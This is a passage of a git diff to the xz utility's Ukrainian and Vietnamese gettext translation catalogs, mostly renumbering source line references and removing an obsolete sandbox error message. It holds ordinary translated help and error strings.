"Потрібно %s МіБ пам'яті. Маємо обмеження у %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: ланцюжок фільтрування: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Спробуйте «%s --help» для отримання докладнішого опису." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -674,17 +670,17 @@ msgstr "" "Стиснути або розпакувати файли у форматі .xz.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Обов’язкові аргументи для довгих форм запису параметрів є обов’язковими і для\n" "скорочених форм.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Режим роботи:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -696,7 +692,7 @@ msgstr "" " -t, --test перевірити цілісність стиснених файлів\n" " -l, --list вивести дані щодо файлів .xz" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -704,7 +700,7 @@ msgstr "" "\n" " Модифікатори дій:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -716,7 +712,7 @@ msgstr "" " -c, --stdout записувати дані до стандартного виведення і не вилучати\n" " вхідні файли" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -724,7 +720,7 @@ msgstr "" " --single-stream розпакувати лише перший потік і без запитань\n" " ігнорувати решту вхідних даних" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -742,7 +738,7 @@ msgstr "" " --files0[=ФАЙЛ] подібний до --files, але список файлів завершується\n" " нуль-символом" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -750,7 +746,7 @@ msgstr "" "\n" " Базові параметри формату файлів і стискання:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -762,11 +758,11 @@ msgstr "" " -C, --check=ТИП тип перевірки цілісності: none («немає», будьте обережні),\n" " crc32, crc64 (типовий) або sha256" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check не виконувати перевірку цілісності при розпаковуванні" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -775,7 +771,7 @@ msgstr "" " параметри використання пам'яті для пакування і\n" " розпакування, перш ніж використовувати рівні 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -784,7 +780,7 @@ msgstr "" " процесора; не впливає на вимоги щодо пам'яті для\n" " розпаковування" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -793,7 +789,7 @@ msgstr "" " значення 0, за якого програма використовує стільки\n" " потоків, скільки є ядер у процесора" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -805,7 +801,7 @@ msgstr "" " встановлення розміру блоку для пакування у декілька\n" " потоків" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -819,7 +815,7 @@ msgstr "" " можна вказати номер ланцюжка фільтрів (0-9) із\n" " завершальною «:» до розміру нестиснених даних" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -832,7 +828,7 @@ msgstr "" " минуло більше за ЧАС_ОЧІКУВАННЯ мілісекунд, витерти\n" " усі дані у черзі" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -851,7 +847,7 @@ msgstr "" " або усіх режимів; ОБМЕЖЕННЯ слід вказувати у байтах,\n" " % RAM або вказати 0 (типове значення)" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -860,7 +856,7 @@ msgstr "" " обмежень на пам'ять, вивести помилку і не коригувати\n" " параметри" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -869,7 +865,7 @@ msgstr "" " Нетиповий ланцюжок фільтрування для стискання (альтернатива використання\n" " рівнів):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -880,7 +876,7 @@ msgstr "" " рядків фільтрів liblzma; скористайтеся --filters-help,\n" " щоб дізнатися більше" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -891,7 +887,7 @@ msgstr "" " синтаксису рядків ланцюжка фільтрів liblzma для\n" " використання з --block-list" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -899,7 +895,7 @@ msgstr "" " --filters-help вивести докладніші відомості щодо синтаксису рядків\n" " liblzma і завершити роботу." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -930,7 +926,7 @@ msgstr "" " bt4; bt4)\n" " depth=N макс. глибина пошуку; 0=авто (типова)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -956,7 +952,7 @@ msgstr "" " Коректні значення ПАРАМЕТРИ для усіх фільтрів BCJ:\n" " start=N початковий зсув для перетворень (типовий=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -968,7 +964,7 @@ msgstr "" " dist=N відстань між байтами, які віднімаються\n" " один від одного (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -976,7 +972,7 @@ msgstr "" "\n" " Інші параметри:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -986,17 +982,17 @@ msgstr "" " -v, --verbose режим докладних повідомлень; вкажіть двічі, щоб підвищити\n" " докладність" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn попередження не впливають на стан виходу" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot використовувати повідомлення для обробки комп'ютером\n" " (корисно для створення сценаріїв)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -1004,7 +1000,7 @@ msgstr "" " --info-memory вивести загальні дані щодо оперативної пам'яті і поточних\n" " обмежень щодо її використання, потім завершити роботу" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -1014,7 +1010,7 @@ msgstr "" " -H, --long-help вивести це розширене довідкове повідомлення і завершити\n" " роботу" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1023,11 +1019,11 @@ msgstr "" " -H, --long-help показати розгорнуту довідку (із усіма додатковими\n" " параметрами)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version вивести дані щодо версії програми і завершити роботу" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1041,23 +1037,23 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Сповіщайте розробників про вади за адресою <%s>\n" "(англійською і фінською).\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Домашня сторінка %s: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ЦЕ ТЕСТОВА ВЕРСІЯ, ЯКУ НЕ ПРИЗНАЧЕНО ДЛЯ ПРОМИСЛОВОГО ВИКОРИСТАННЯ." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1069,7 +1065,7 @@ msgstr "" "можна відокремлювати від інших пробілами або «--». Крім того, можна вказати\n" "шаблон <0-9>[e] замість ланцюжка фільтрів.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Підтримувані фільтри та їхні параметри:" @@ -1163,3 +1159,6 @@ msgstr "Не вдалося записати дані до стандартно #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Невідома помилка" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Не вдалося увімкнути пісочницю" diff --git a/po/vi.gmo b/po/vi.gmo new file mode 100644 index 00000000..40fabad9 Binary files /dev/null and b/po/vi.gmo differ diff --git a/po/vi.po b/po/vi.po index e8fac6ec..7b0ad569 100644 --- a/po/vi.po +++ b/po/vi.po @@ -9,7 +9,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-24 10:23+0700\n" "Last-Translator: Trần Ngọc Quân \n" "Language-Team: Vietnamese \n" @@ -58,8 +58,8 @@ msgstr "Chỉ được đưa ra một tập tin cho “--files” hay “--files #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -183,16 +183,12 @@ msgstr "Chỉnh cỡ từ điển LZMA%c cho --filters%u từ %s MiB thành %s M msgid "Error changing to filter chain %u: %s" msgstr "Gặp lỗi thay đổi chuỗi móc xích lọc %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Gặp lỗi khi tạo một ống dẫn: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Không bật được sandbox" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: hàm poll() bị lỗi: %s" @@ -207,111 +203,111 @@ msgstr "%s: hàm poll() bị lỗi: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Tập tin có lẽ đã bị di chuyển, không phải gỡ bỏ" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Không thể gỡ bỏ: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Không thể đặt chủ sở hữu tập tin: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Không thể đặt nhóm tập tin: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Không thể đặt chế độ đọc ghi cho tập tin: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Gặp lỗi khi lấy các cờ trạng thái tập tin từ đầu vào tiêu chuẩn: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Là một liên kết mềm nên bỏ qua" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Không phải là một thư mục nên bỏ qua" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Không phải là tập tin thường nên bỏ qua" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Tập tin có đặt bít setuid hoặc setgid nên bỏ qua" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Tập tin có bít sticky nên bỏ qua" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Tập tin đầu vào có nhiều hơn một liên kết cứng nên bỏ qua" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Tên tập tin trống rỗng nên bỏ qua" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Gặp lỗi khi phục hồi các cờ trạng thái tới đầu vào tiêu chuẩn: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Gặp lỗi khi lấy các cờ trạng thái tập tin từ đầu vào tiêu chuẩn: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Gặp lỗi khi phục hồi cờ O_APPEND trên đầu ra tiêu chuẩn: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Gặp lỗi khi đóng tập tin: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Gặp lỗi khi di chuyển vị trí đọc khi cố tạo một tập tin rải rác: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Lỗi đọc: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Gặp lỗi khi di chuyển vị trí đọc tập tin: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Kết thúc tập tin bất ngờ" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Lỗi ghi: %s" @@ -571,26 +567,26 @@ msgstr "Thử 'lzmainfo' với các tập tin .lzma." msgid "--list does not support reading from standard input" msgstr "--list không hỗ trợ đọc từ đầu vào tiêu chuẩn" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Gặp lỗi khi đọc tên tập tin: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Gặp kết thúc đầu vào bất ngờ khi đọc các tên tập tin" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Gặp ký hiệu null khi đọc tên tập tin; có lẽ ý bạn muốn là dùng “--files0” chứ không phải “--files'?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Nén và giải nén với --robot vẫn chưa được hỗ trợ." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Không thể đọc dữ liệu từ đầu vào tiêu chuẩn khi đọc tập tin từ đầu vào tiêu chuẩn" @@ -598,68 +594,68 @@ msgstr "Không thể đọc dữ liệu từ đầu vào tiêu chuẩn khi đọ #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Lỗi nội bộ (lỗi)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Không thể thiết lập bộ xử lý tín hiệu" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Không có kiểm tra toàn vẹn nên không thể thẩm tra tính toàn vẹn của tập tin" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Kiểu kiểm tra toàn vẹn chưa được hỗ trợ; nên không thể thẩm tra tính toàn vẹn của tập tin" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Đã chạm mốc giới hạn sử dụng bộ nhớ" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Không nhận ra định dạng tập tin" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Tùy chọn không được hỗ trợ" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Dữ liệu đã nén bị hỏng" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Gặp kết thúc đầu vào bất ngờ" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "Yêu cầu cần có %s MiB bộ nhớ. Nhưng giới hạn bị tắt." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "Yêu cầu cần có %s MiB bộ nhớ. Nhưng giới hạn là %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Móc xích lọc: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Hãy chạy lệnh “%s --help” để xem thông tin thêm." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -670,15 +666,15 @@ msgstr "" "Nén hoặc giải nén các TẬP TIN có định dạng .xz.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Các tùy chọn dài bắt buộc phải có đối số thì với tùy chọn ngắn cũng vậy.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Chế độ thao tác:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -690,7 +686,7 @@ msgstr "" " -t, --test kiểm tra tính toàn vẹn của tập tin nén\n" " -l, --list liệt kê các thông tin về tập tin .xz" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -698,7 +694,7 @@ msgstr "" "\n" " Bộ chỉnh sửa thao tác:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -708,7 +704,7 @@ msgstr "" " -f, --force buộc ghi đè tập tin đầu ra và (giải) nén các liên kết\n" " -c, --stdout ghi ra đầu ra tiêu chuẩn và không xóa tập tin đầu vào" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -716,7 +712,7 @@ msgstr "" " --single-stream chỉ giải nén luồng dữ liệu đầu, và bỏ qua\n" " dữ liệu đầu vào còn lại có thể" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -732,7 +728,7 @@ msgstr "" " chuẩn; chúng phải được kết thúc bằng ký tự dòng mới\n" " --files0[=TẬP-TIN] giống --files nhưng ký tự kết thúc là null" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -740,7 +736,7 @@ msgstr "" "\n" " Các tùy chọn về định dạng và nén cơ bản:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -752,11 +748,11 @@ msgstr "" " -C, --check=KIỂM kiểu kiểm tra toàn vẹn: “none” (thận trọng khi dùng),\n" " “crc32”, “crc64” (mặc định), hay “sha256”" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check không thẩm tra tính toàn vẹn khi giải nén" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -764,7 +760,7 @@ msgstr "" " -0 ... -9 đặt mức nén; mặc định là 6; tiêu dùng nhiều bộ nhớ khi nén\n" " và giải nén, nên tính toán trước khi dùng 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -772,7 +768,7 @@ msgstr "" " -e, --extreme cố gắng nâng cao mức nén bằng cách dùng nhiều CPU hơn;\n" " nhưng không yêu cần nhiều bộ nhớ khi giải nén" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -780,7 +776,7 @@ msgstr "" " -T, --threads=SỐ dùng tối đa là SỐ tuyến trình; mặc định là 0 ý là\n" " dùng số lượng bằng số lõi vi xử lý" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -790,7 +786,7 @@ msgstr "" " bắt đầu một khối .xz mới sau mỗi CỠ byte của đầu vào;\n" " dùng tùy chọn này để đặt cỡ khối cho nén tuyến trình" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -804,7 +800,7 @@ msgstr "" " chỉ định số móc xích bộ lọc (0-9) theo sau là ':' trước\n" " kích cỡ dữ liệu chưa nén" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -816,7 +812,7 @@ msgstr "" " kể từ lần đẩy dữ liệu lên đĩa trước đó và đang đọc thêm\n" " khối nữa, mọi dữ liệu đang chờ sẽ được ghi lên đĩa" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -835,7 +831,7 @@ msgstr "" " giải nén tuyến trình, hoặc tất cả; GIỚI_HẠN có đơn vị là\n" " byte, % của RAM, hay 0 cho mặc định" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -843,7 +839,7 @@ msgstr "" " --no-adjust nếu các cài đặt nén vượt quá giới hạn dùng bộ nhớ,\n" " đưa ra một lỗi thay vì sửa đổi các cài đặt xuống" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -851,7 +847,7 @@ msgstr "" "\n" " Móc xích lọc tùy chỉnh cho nén (thay cho việc dùng chỉnh trước):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -861,7 +857,7 @@ msgstr "" " --filters=CÁC_BỘ_LỌC đặt móc xích bộ lọc sử dụng cú pháp chuỗi bộ lọc\n" " liblzma dùng để biết thêm chi tiết" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -871,7 +867,7 @@ msgstr "" " đặt móc xích lọc thêm sử dụng cú pháp chuỗi bộ lọc\n" " liblzma để dùng với --block-list" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -879,7 +875,7 @@ msgstr "" " --filters-help hiển thị thêm thông tin về cú pháp bộ lọc liblzma\n" " rồi thoát." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -907,7 +903,7 @@ msgstr "" " mf=TÊN bộ tìm khớp (hc3, hc4, bt2, bt3, bt4; bt4)\n" " depth=SỐ mức sâu tìm kiếm tối đa; 0=tự động (mặc định)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -933,7 +929,7 @@ msgstr "" " các tùy chọn hợp lệ cho mọi bộ lọc BCJ:\n" " start=SỐ khoảng bù khởi đầu cho chuyển đổi (mặc định=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -946,7 +942,7 @@ msgstr "" " dist=SỐ khoảng cách giữa các byte được trừ từ\n" " những cái khác (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -954,7 +950,7 @@ msgstr "" "\n" " Tùy chọn khác:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -963,19 +959,19 @@ msgstr "" " chỉ định hai lần nến bạn muốn chặn cả báo lỗi\n" " -v, --verbose thông báo chi tiết; dùng hai lần nếu muốn chi tiết hơn" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr "" " -Q, --no-warn làm cho các cảnh báo không ảnh hưởng đến\n" " trạng thái thoát" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot dùng các thông báo mà máy có thể phân tích\n" " (hữu dụng với scripts)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -983,7 +979,7 @@ msgstr "" " --info-memory hiển thị tổng lượng RAM và mức giới hạn tiêu dùng\n" " bộ nhớ hiện tại, rồi thoát" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -992,7 +988,7 @@ msgstr "" " (chỉ liệt kê các tùy chọn cơ bản)\n" " -H, --long-help hiển thị trợ 